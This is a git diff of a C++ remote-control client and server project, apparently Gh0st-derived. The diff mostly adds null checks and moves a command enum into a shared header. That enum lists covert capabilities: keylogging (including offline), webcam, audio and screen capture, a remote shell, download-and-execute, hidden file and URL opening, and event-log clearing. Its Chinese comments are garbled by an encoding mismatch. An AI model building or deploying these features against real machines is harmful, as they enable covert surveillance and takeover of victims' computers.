diff --git a/ReadMe.txt b/ReadMe.txt index d924867..d6986fb 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -231,3 +231,8 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足 fix: client threads number excceeding bug fix: #19 the CBuffer causing server crash fix: showing the wrong host quantity in status bar + +2024.12.27 +solve some issues according to code analysis result +reorg: Move commands to common/commands.h +此次提交的重点是将重复代码移动到公共目录,减少代码的冗余。 diff --git a/client/Audio.cpp b/client/Audio.cpp index a0b1d81..cd4b4e8 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -87,8 +87,10 @@ CAudio::~CAudio() if (m_bIsWaveOutUsed) { waveOutReset(m_hWaveOut); - for (int i = 0; i < 2; ++i) - waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); + for (int i = 0; i < 2; ++i) { + if (m_InAudioHeader[i]) + waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); + } waveOutClose(m_hWaveOut); } @@ -131,8 +133,10 @@ BOOL CAudio::InitializeWaveIn() } waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); - - ResumeThread(m_Thread); + if (m_Thread!=NULL) + { + ResumeThread(m_Thread); + } waveInStart(m_hWaveIn); //¼ m_bIsWaveInUsed = TRUE; diff --git a/client/Buffer.cpp b/client/Buffer.cpp index 44b72bf..bd43209 100644 --- a/client/Buffer.cpp +++ b/client/Buffer.cpp @@ -66,7 +66,8 @@ ULONG CBuffer::DeAllocateBuffer(ULONG ulLength) return 0; } PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); - + if (NewBase == NULL) + return 0; ULONG ulv1 = GetBufferLength(); //ԭڴЧ CopyMemory(NewBase,m_Base,ulv1); diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp index 51c6ac2..2a9edf5 100644 --- a/client/CaptureVideo.cpp +++ b/client/CaptureVideo.cpp @@ -12,10 +12,6 @@ CSampleGrabberCB mCB; CCaptureVideo::CCaptureVideo() { - if(FAILED(CoInitialize(NULL))) - { - return; - } m_pCapture = NULL; m_pGB = NULL; m_pMC = NULL; @@ -23,6 +19,11 @@ CCaptureVideo::CCaptureVideo() m_pBF = NULL; m_pGrabber = NULL; m_bExit = FALSE; + m_hWnd = NULL; + if (FAILED(CoInitialize(NULL))) + { + return; + } } CCaptureVideo::~CCaptureVideo() diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 560d401..1707c98 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -108,6 +108,9 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) g_uPort = uPort; HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); + if (hThread == NULL) { + return; + } #ifdef _DEBUG WaitForSingleObject(hThread, 200); #else @@ -134,14 +137,14 @@ DWORD WINAPI StartClient(LPVOID lParam) g_bThreadExit = false; while (!g_bExit) { - DWORD dwTickCount = GetTickCount(); + DWORD dwTickCount = GetTickCount64(); if (!ClientObject->ConnectServer(g_szServerIP, g_uPort)) { for (int k = 500; !g_bExit && --k; Sleep(10)); continue; } //׼һ - SendLoginInfo(ClientObject, GetTickCount()-dwTickCount); + SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount); CKernelManager Manager(ClientObject); bool bIsRun = 0; diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 0e9fcce..0b78cad 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -55,7 +55,7 @@ Level3 Disabled - ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) + $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) MultiThreadedDebug ZLIB_WINAPI;%(PreprocessorDefinitions) true @@ -74,7 +74,7 @@ true true MultiThreaded - ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) + $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true @@ -110,6 +110,7 @@ + diff --git a/client/Common.cpp b/client/Common.cpp index 3b76bd1..445869d 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -31,9 +31,10 @@ HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, hThread = (HANDLE)CreateThread(SecurityAttributes, dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList, dwCreationFlags, (LPDWORD)ThreadId); - - WaitForSingleObject(ThreadArgList.hEvent, INFINITE); - CloseHandle(ThreadArgList.hEvent); + if (ThreadArgList.hEvent != NULL) { + WaitForSingleObject(ThreadArgList.hEvent, INFINITE); + CloseHandle(ThreadArgList.hEvent); + } return hThread; } diff --git a/client/Common.h b/client/Common.h index 90dbca6..6afd4a9 100644 --- a/client/Common.h +++ b/client/Common.h @@ -1,127 +1,7 @@ #pragma once #include "IOCPClient.h" - -enum -{ - // ļ䷽ʽ - TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ - TRANSFER_MODE_ADDITION, // ׷ - TRANSFER_MODE_ADDITION_ALL, // ȫ׷ - TRANSFER_MODE_OVERWRITE, // - TRANSFER_MODE_OVERWRITE_ALL, // ȫ - TRANSFER_MODE_JUMP, // - TRANSFER_MODE_JUMP_ALL, // ȫ - TRANSFER_MODE_CANCEL, // ȡ - - // ƶ˷ - COMMAND_ACTIVED = 0x00, // ˿Լʼ - COMMAND_LIST_DRIVE, // гĿ¼ - COMMAND_LIST_FILES, // гĿ¼еļ - COMMAND_DOWN_FILES, // ļ - COMMAND_FILE_SIZE, // ϴʱļС - COMMAND_FILE_DATA, // ϴʱļ - COMMAND_EXCEPTION, // ䷢쳣Ҫ´ - COMMAND_CONTINUE, // - COMMAND_STOP, // ֹ - COMMAND_DELETE_FILE, // ɾļ - COMMAND_DELETE_DIRECTORY, // ɾĿ¼ - COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ - COMMAND_CREATE_FOLDER, // ļ - COMMAND_RENAME_FILE, // ļļ - COMMAND_OPEN_FILE_SHOW, // ʾļ - COMMAND_OPEN_FILE_HIDE, // شļ - - COMMAND_SCREEN_SPY, // Ļ鿴 - COMMAND_SCREEN_RESET, // ıĻ - COMMAND_ALGORITHM_RESET, // ı㷨 - COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del - COMMAND_SCREEN_CONTROL, // Ļ - COMMAND_SCREEN_BLOCK_INPUT, // ˼ - COMMAND_SCREEN_BLANK, // ˺ - COMMAND_SCREEN_CAPTURE_LAYER, // ׽ - COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ - COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ - - COMMAND_WEBCAM, // ͷ - COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ - COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ - COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ - COMMAND_NEXT, // һ(ƶѾ򿪶Ի) - - COMMAND_KEYBOARD, // ̼¼ - COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ - COMMAND_KEYBOARD_CLEAR, // ̼¼ - - COMMAND_AUDIO, // - - COMMAND_SYSTEM, // ϵͳ̣.... - COMMAND_PSLIST, // б - COMMAND_WSLIST, // б - COMMAND_DIALUPASS, // - COMMAND_KILLPROCESS, // رս - COMMAND_SHELL, // cmdshell - COMMAND_SESSION, // Ựػע, жأ - COMMAND_REMOVE, // жغ - COMMAND_DOWN_EXEC, // - ִ - COMMAND_UPDATE_SERVER, // - ظ - COMMAND_CLEAN_EVENT, // - ϵͳ־ - COMMAND_OPEN_URL_HIDE, // - شҳ - COMMAND_OPEN_URL_SHOW, // - ʾҳ - COMMAND_RENAME_REMARK, // ע - COMMAND_REPLAY_HEARTBEAT, // ظ - COMMAND_SERVICES, // - COMMAND_REGEDIT, - COMMAND_TALK, // ʱϢ֤ - - // ˷ıʶ - TOKEN_AUTH = 100, // Ҫ֤ - TOKEN_HEARTBEAT, // - TOKEN_LOGIN, // ߰ - TOKEN_DRIVE_LIST, // б - TOKEN_FILE_LIST, // ļб - TOKEN_FILE_SIZE, // ļСļʱ - TOKEN_FILE_DATA, // ļ - TOKEN_TRANSFER_FINISH, // - TOKEN_DELETE_FINISH, // ɾ - TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ - TOKEN_GET_FILEDATA, // Զ̵õļ - TOKEN_CREATEFOLDER_FINISH, // ļ - TOKEN_DATA_CONTINUE, // - TOKEN_RENAME_FINISH, // - TOKEN_EXCEPTION, // 쳣 - - TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO - TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ - TOKEN_NEXTSCREEN, // Ļ鿴һͼ - TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ - - TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER - TOKEN_WEBCAM_DIB, // ͷͼ - - TOKEN_AUDIO_START, // ʼ - TOKEN_AUDIO_DATA, // - - TOKEN_KEYBOARD_START, // ̼¼ʼ - TOKEN_KEYBOARD_DATA, // ̼¼ - - TOKEN_PSLIST, // б - TOKEN_WSLIST, // б - TOKEN_DIALUPASS, // - TOKEN_SHELL_START, // Զն˿ʼ - TOKEN_SERVERLIST, // б - COMMAND_SERVICELIST, // ˢ·б - COMMAND_SERVICECONFIG, // ˷ıʶ - TOKEN_TALK_START, // ʱϢʼ - TOKEN_TALKCMPLT, // ʱϢط - TOKEN_REGEDIT = 200, // ע - COMMAND_REG_FIND, //ע ʶ - TOKEN_REG_KEY, - TOKEN_REG_PATH, - COMMAND_BYE, // ض˳ - SERVER_EXIT, // ض˳ -}; - +#include "common/commands.h" typedef struct _THREAD_ARG_LIST { diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 71659e3..290d920 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -251,8 +251,8 @@ UINT CFileManager::SendDriveList() unsigned __int64 HDAmount = 0; unsigned __int64 HDFreeSpace = 0; - unsigned long AmntMB = 0; // ܴС - unsigned long FreeMB = 0; // ʣռ + unsigned __int64 AmntMB = 0; // ܴС + unsigned __int64 FreeMB = 0; // ʣռ DWORD dwOffset = 1; for (; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1) @@ -260,7 +260,7 @@ UINT CFileManager::SendDriveList() memset(FileSystem, 0, sizeof(FileSystem)); // õļϵͳϢС GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); - SHFILEINFO sfi; + SHFILEINFO sfi = {}; SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); int nTypeNameLen = lstrlen(sfi.szTypeName) + 1; @@ -312,6 +312,10 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) WIN32_FIND_DATA FindFileData; lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize); + if (lpList==NULL) + { + return 0; + } wsprintf(strPath, "%s\\*.*", lpszDirectory); hFile = FindFirstFile(strPath, &FindFileData); @@ -338,6 +342,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory) { nBufferSize += MAX_PATH * 2; lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE); + if (lpList == NULL) + continue; } pszFileName = FindFileData.cFileName; if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0) @@ -427,6 +433,10 @@ UINT CFileManager::SendFileSize(LPCTSTR lpszFileName) // ݰļ int nPacketSize = lstrlen(lpszFileName) + 10; BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); + if (bPacket==NULL) + { + return 0; + } memset(bPacket, 0, nPacketSize); bPacket[0] = TOKEN_FILE_SIZE; @@ -467,6 +477,8 @@ UINT CFileManager::SendFileData(LPBYTE lpBuffer) DWORD nNumberOfBytesRead = 0; LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER); + if (lpPacket == NULL) + return -1; // Token, Сƫƣļ lpPacket[0] = TOKEN_FILE_DATA; memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE)); @@ -637,7 +649,7 @@ void CFileManager::GetFileData() // 1ֽToken,ֽƫƸλֽƫƵλ BYTE bToken[9]; - DWORD dwCreationDisposition; // ļ򿪷ʽ + DWORD dwCreationDisposition = 0; // ļ򿪷ʽ memset(bToken, 0, sizeof(bToken)); bToken[0] = TOKEN_DATA_CONTINUE; diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 776fd2d..0aba840 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -96,7 +96,9 @@ inline string GetIPAddress(const char *hostName) for (int i = 0; host->h_addr_list[i]; ++i) printf("ȡĵ%dIP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i])); #endif - return host ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : ""; + if (host == NULL || host->h_addr_list == NULL) + return ""; + return host->h_addr_list[0] ? inet_ntoa(*(struct in_addr*)host->h_addr_list[0]) : ""; } BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort) @@ -153,7 +155,7 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort) DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) { IOCPClient* This = (IOCPClient*)lParam; - char szBuffer[MAX_RECV_BUFFER] = {0}; + char* szBuffer = new char[MAX_RECV_BUFFER]; fd_set fd; const struct timeval tm = { 2, 0 }; @@ -180,9 +182,9 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) } else if (iRet > 0) { - memset(szBuffer, 0, sizeof(szBuffer)); - int iReceivedLength = recv(This->m_sClientSocket, - szBuffer,sizeof(szBuffer), 0); //ض˷ + memset(szBuffer, 0, MAX_RECV_BUFFER); + int iReceivedLength = recv(This->m_sClientSocket, + szBuffer, MAX_RECV_BUFFER, 0); //ض˷ if (iReceivedLength <= 0) { int a = GetLastError(); @@ -205,6 +207,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) } This->m_bWorkThread = S_STOP; This->m_bIsRunning = FALSE; + delete[] szBuffer; return 0xDEAD; } diff --git a/client/IOCPClient.h b/client/IOCPClient.h index cf0eca6..5fdf5c3 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -46,6 +46,10 @@ public: return m_bIsRunning; } + void SetExit() { + m_bIsRunning = FALSE; + } + BOOL m_bIsRunning; BOOL m_bConnected; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 7b7de05..6df4dd2 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -164,6 +164,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: { OutputDebugStringA("======> Error operator\n"); + char buffer[256] = {}; + strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer)); + printf("!!! Unknown command: %s\n", buffer); if (m_ulThreadCount != -1) { delete m_hThread[m_ulThreadCount].p; m_hThread[m_ulThreadCount].p = NULL; diff --git a/client/KernelManager.h b/client/KernelManager.h index 2c78dd7..3736993 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -12,7 +12,7 @@ #include "Manager.h" #include -#define MAX_THREADNUM 0x1000 +#define MAX_THREADNUM 0x1000>>2 // ߳Ϣṹ, 3Ա: ״̬(run)(h)ͨѶͻ(p). struct ThreadInfo diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 6f6bb16..efa8132 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -17,8 +17,16 @@ std::string getSystemName() //жǷΪwin8.1win10 typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*); HINSTANCE hinst = LoadLibrary("ntdll.dll"); + if (hinst == NULL) + { + return vname; + } DWORD dwMajor, dwMinor, dwBuildNumber; NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers"); + if (proc==NULL) + { + return vname; + } proc(&dwMajor, &dwMinor, &dwBuildNumber); if (dwMajor == 6 && dwMinor == 3) //win 8.1 { diff --git a/client/RegisterOperation.cpp b/client/RegisterOperation.cpp index 1e98924..f24c9f3 100644 --- a/client/RegisterOperation.cpp +++ b/client/RegisterOperation.cpp @@ -88,6 +88,9 @@ char* RegisterOperation::FindPath() DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11] szBuffer=(char*)LocalAlloc(LPTR, DataSize); + if (szBuffer == NULL) { + return NULL; + } ZeroMemory(szBuffer,DataSize); szBuffer[0]=TOKEN_REG_PATH; //ͷ REGMSG msg; //ͷ @@ -148,13 +151,20 @@ char* RegisterOperation::FindKey() DWORD size=sizeof(REGMSG)+ sizeof(BYTE)*NameCount+ NameSize*NameCount+DataSize*NameCount+10; szBuffer = (char*)LocalAlloc(LPTR, size); + if (szBuffer==NULL) + { + return NULL; + } ZeroMemory(szBuffer,size); szBuffer[0]=TOKEN_REG_KEY; //ͷ memcpy(szBuffer+1,(void*)&msg,msgsize); //ͷ szValueName=(char *)malloc(NameSize); szValueDate=(LPBYTE)malloc(DataSize); - + if (szValueName==NULL||szValueDate == NULL) + { + return NULL; + } char *szTemp=szBuffer+msgsize+1; for(dwIndex=0;dwIndexGetBIData(), ulLength - 1); @@ -180,6 +181,8 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength) if (hGlobal != NULL) { LPTSTR szClipboardVirtualAddress = (LPTSTR) GlobalLock(hGlobal); + if (szClipboardVirtualAddress == NULL) + return; memcpy(szClipboardVirtualAddress, szBuffer, ulLength); GlobalUnlock(hGlobal); SetClipboardData(CF_TEXT, hGlobal); diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp index dd4a9b7..4c38ea6 100644 --- a/client/ServicesManager.cpp +++ b/client/ServicesManager.cpp @@ -65,7 +65,8 @@ LPBYTE CServicesManager::GetServicesList() &dwResumeHandle); szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH); - + if (szBuffer == NULL) + return NULL; szBuffer[0] = TOKEN_SERVERLIST; dwOffset = 1; for (unsigned long i = 0; i < dwServicesCount; ++i) // Display The Services,ʾеķ @@ -82,7 +83,8 @@ LPBYTE CServicesManager::GetServicesList() } ServicesInfor = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LPTR,4*1024); - + if (ServicesInfor == NULL) + continue; QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle); //ѯ @@ -120,7 +122,8 @@ LPBYTE CServicesManager::GetServicesList() if (LocalSize(szBuffer) < (dwOffset + dwLength)) szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); - + if (szBuffer == NULL) + continue; memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName, lstrlen(ServicesStatus[i].lpDisplayName) + 1); dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//ʵ diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 2bf10d8..01dbf3f 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -78,7 +78,8 @@ LPBYTE CSystemManager::GetProcessList() HMODULE hModules = NULL; //еһģľ LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //ʱһ» - + if (szBuffer == NULL) + return NULL; szBuffer[0] = TOKEN_PSLIST; //עͷ dwOffset = 1; @@ -263,12 +264,15 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ //̹ͬһעķ͵ض˵ݽṹ if (szBuffer == NULL) szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //ʱ仺 - + if (szBuffer == NULL) + return FALSE; //[Ϣ][4Notepad.exe\0] dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1; dwOffset = LocalSize(szBuffer); //1 //¼㻺С szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE); + if (szBuffer == NULL) + return FALSE; //memcpyܿݽṹΪ hwnd+ڱ+0 memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD)); memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1); diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index 739e00c..49db2a5 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -57,6 +57,7 @@ MultiThreadedDebug true false + $(SolutionDir);%(AdditionalIncludeDirectories) true @@ -72,6 +73,7 @@ MultiThreaded true _CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + $(SolutionDir);%(AdditionalIncludeDirectories) true diff --git a/client/VideoManager.cpp b/client/VideoManager.cpp index d420137..bb76f07 100644 --- a/client/VideoManager.cpp +++ b/client/VideoManager.cpp @@ -55,11 +55,11 @@ DWORD CVideoManager::WorkThread(LPVOID lParam) while (This->m_bIsWorking) { // ٶ - int span = sleep-(GetTickCount() - dwLastScreen); + int span = sleep-(GetTickCount64() - dwLastScreen); Sleep(span > 0 ? span : 1); if (span < 0) printf("SendScreen Span = %d ms\n", span); - dwLastScreen = GetTickCount(); + dwLastScreen = GetTickCount64(); if(FALSE == This->SendNextScreen()) break; } diff --git a/client/dxtrans.h b/client/dxtrans.h index 8df2ff7..8dc47e3 100644 --- a/client/dxtrans.h +++ b/client/dxtrans.h @@ -1655,7 +1655,7 @@ public: BYTE Green; BYTE Red; BYTE Alpha; - DXBASESAMPLE() {} + DXBASESAMPLE():Blue(0), Green(0), Red(0), Alpha(0) {} DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) : Alpha(alpha), Red(red), diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index e45fc23..4013bf7 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -55,7 +55,7 @@ Level3 Disabled - ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) + $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) MultiThreadedDebug _CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions) true @@ -77,7 +77,7 @@ true true MultiThreaded - ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) + $(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true @@ -115,6 +115,7 @@ + diff --git a/client/test.cpp b/client/test.cpp index 7b9edd9..bfe4e18 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -2,6 +2,7 @@ #include #include #include +#include "common/commands.h" typedef void (*StopRun)(); @@ -18,12 +19,7 @@ IsStoped bExit = NULL; BOOL status = 0; -struct CONNECT_ADDRESS -{ - DWORD dwFlag; - char szServerIP[MAX_PATH]; - int iPort; -}g_ConnectAddress={0x1234567,"",0}; +CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN,"",0 }; //Ȩ void DebugPrivilege() @@ -119,17 +115,13 @@ int main(int argc, const char *argv[]) { char *ip = g_ConnectAddress.szServerIP; int &port = g_ConnectAddress.iPort; - if (0 == strlen(ip)) - { - strcpy(p+1, "settings.ini"); - if (_access(path, 0) == -1){ - ip = argc > 1 ? argv[1] : "127.0.0.1"; - port = argc > 2 ? atoi(argv[2]) : 19141; - } - else { - GetPrivateProfileStringA("settings", "localIp", "yuanyuanxiang.oicp.net", ip, _MAX_PATH, path); - port = GetPrivateProfileIntA("settings", "ghost", 19141, path); - } + strcpy(p + 1, "settings.ini"); + if (_access(path, 0) == -1) { // ļ: ȴӲȡֵǴg_ConnectAddressȡֵ. + ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip); + port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port); + } else { + GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path); + port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path); } printf("[server] %s:%d\n", ip, port); do diff --git a/common/commands.h b/common/commands.h new file mode 100644 index 0000000..9926f1a --- /dev/null +++ b/common/commands.h @@ -0,0 +1,136 @@ +#pragma once + +#ifndef _MAX_PATH +#define _MAX_PATH 260 +#endif + +#define FLAG_FINDEN 0x1234567 + +// öб +enum +{ + // ļ䷽ʽ + TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ + TRANSFER_MODE_ADDITION, // ׷ + TRANSFER_MODE_ADDITION_ALL, // ȫ׷ + TRANSFER_MODE_OVERWRITE, // + TRANSFER_MODE_OVERWRITE_ALL, // ȫ + TRANSFER_MODE_JUMP, // + TRANSFER_MODE_JUMP_ALL, // ȫ + TRANSFER_MODE_CANCEL, // ȡ + + // ƶ˷ + COMMAND_ACTIVED = 0x00, // ˿Լʼ + COMMAND_LIST_DRIVE, // гĿ¼ + COMMAND_LIST_FILES, // гĿ¼еļ + COMMAND_DOWN_FILES, // ļ + COMMAND_FILE_SIZE, // ϴʱļС + COMMAND_FILE_DATA, // ϴʱļ + COMMAND_EXCEPTION, // ䷢쳣Ҫ´ + COMMAND_CONTINUE, // + COMMAND_STOP, // ֹ + COMMAND_DELETE_FILE, // ɾļ + COMMAND_DELETE_DIRECTORY, // ɾĿ¼ + COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ + COMMAND_CREATE_FOLDER, // ļ + COMMAND_RENAME_FILE, // ļļ + COMMAND_OPEN_FILE_SHOW, // ʾļ + COMMAND_OPEN_FILE_HIDE, // شļ + + COMMAND_SCREEN_SPY, // Ļ鿴 + COMMAND_SCREEN_RESET, // ıĻ + COMMAND_ALGORITHM_RESET, // ı㷨 + COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del + COMMAND_SCREEN_CONTROL, // Ļ + COMMAND_SCREEN_BLOCK_INPUT, // ˼ + COMMAND_SCREEN_BLANK, // ˺ + COMMAND_SCREEN_CAPTURE_LAYER, // ׽ + COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ + COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ + + COMMAND_WEBCAM, // ͷ + COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ + COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ + COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ + COMMAND_NEXT, // һ(ƶѾ򿪶Ի) + + COMMAND_KEYBOARD, // ̼¼ + COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ + COMMAND_KEYBOARD_CLEAR, // ̼¼ + + COMMAND_AUDIO, // + + COMMAND_SYSTEM, // ϵͳ̣.... + COMMAND_PSLIST, // б + COMMAND_WSLIST, // б + COMMAND_DIALUPASS, // + COMMAND_KILLPROCESS, // رս + COMMAND_SHELL, // cmdshell + COMMAND_SESSION, // Ựػע, жأ + COMMAND_REMOVE, // жغ + COMMAND_DOWN_EXEC, // - ִ + COMMAND_UPDATE_SERVER, // - ظ + COMMAND_CLEAN_EVENT, // - ϵͳ־ + COMMAND_OPEN_URL_HIDE, // - شҳ + COMMAND_OPEN_URL_SHOW, // - ʾҳ + COMMAND_RENAME_REMARK, // ע + COMMAND_REPLAY_HEARTBEAT, // ظ + COMMAND_SERVICES, // + COMMAND_REGEDIT, + COMMAND_TALK, // ʱϢ֤ + + // ˷ıʶ + TOKEN_AUTH = 100, // Ҫ֤ + TOKEN_HEARTBEAT, // + TOKEN_LOGIN, // ߰ + TOKEN_DRIVE_LIST, // б + TOKEN_FILE_LIST, // ļб + TOKEN_FILE_SIZE, // ļСļʱ + TOKEN_FILE_DATA, // ļ + TOKEN_TRANSFER_FINISH, // + TOKEN_DELETE_FINISH, // ɾ + TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ + TOKEN_GET_FILEDATA, // Զ̵õļ + TOKEN_CREATEFOLDER_FINISH, // ļ + TOKEN_DATA_CONTINUE, // + TOKEN_RENAME_FINISH, // + TOKEN_EXCEPTION, // 쳣 + + TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO + TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ + TOKEN_NEXTSCREEN, // Ļ鿴һͼ + TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ + + TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER + TOKEN_WEBCAM_DIB, // ͷͼ + + TOKEN_AUDIO_START, // ʼ + TOKEN_AUDIO_DATA, // + + TOKEN_KEYBOARD_START, // ̼¼ʼ + TOKEN_KEYBOARD_DATA, // ̼¼ + + TOKEN_PSLIST, // 